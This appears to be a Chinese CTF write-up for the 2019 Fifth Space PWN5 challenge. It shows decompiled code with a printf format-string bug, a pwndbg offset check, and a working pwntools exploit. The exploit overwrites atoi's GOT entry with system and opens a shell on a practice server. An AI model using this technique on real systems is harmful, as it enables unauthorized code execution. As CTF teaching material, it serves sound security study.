[第五空间2019 决赛]PWN5
[第五空间2019 决赛]PWN5
这次我们换一下,尝试只用工具来解题
浅看一下
int __cdecl main(int a1)
{
unsigned int v1; // eax
int result; // eax
int fd; // [esp+0h] [ebp-84h]
char nptr[16]; // [esp+4h] [ebp-80h] BYREF
char buf[100]; // [esp+14h] [ebp-70h] BYREF
unsigned int v6; // [esp+78h] [ebp-Ch]
int *v7; // [esp+7Ch] [ebp-8h]
v7 = &a1;
v6 = __readgsdword(0x14u);
setvbuf(stdout, 0, 2, 0);
v1 = time(0);
srand(v1);
fd = open("/dev/urandom", 0);
read(fd, &dword_804C044, 4u);
printf("your name:");
read(0, buf, 0x63u);
printf("Hello,");
printf(buf);
printf("your passwd:");
read(0, nptr, 0xFu);
if ( atoi(nptr) == dword_804C044 )
{
puts("ok!!");
system("/bin/sh");
}
else
{
puts("fail");
}
result = 0;
if ( __readgsdword(0x14u) != v6 )
sub_80493D0();
return result;
}
因为no pie
所以直接可以格式化字符串篡改atoi
为system
正好程序里有system
函数
如果传入的password
值为/bin/sh
这样原本的atoi(nptr)
就变成了system("/bin/sh")
这样就可以得到shell了
解题
name
传入aaaa
执行过printf
看栈
查看格式化字符串偏移
fmtarg 0xffffd088
pwndbg> fmtarg 0xffffd088
The index of format argument : 10 ("\%9$p")
接下来直接exp
from pwn import *
#p = process('./pwn')
p = remote('node4.buuoj.cn',27363)
elf = ELF('./pwn')
atoi_got = elf.got['atoi']
system_plt = elf.plt['system']
payload=fmtstr_payload(10,{atoi_got:system_plt})
p.sendline(payload)
p.sendline(b'/bin/sh\x00')
p.interactive()
ps:今天新学到了fmtstr_payload
好简单。。。。
A lion doesn't concern himself with the opinions of a sheep.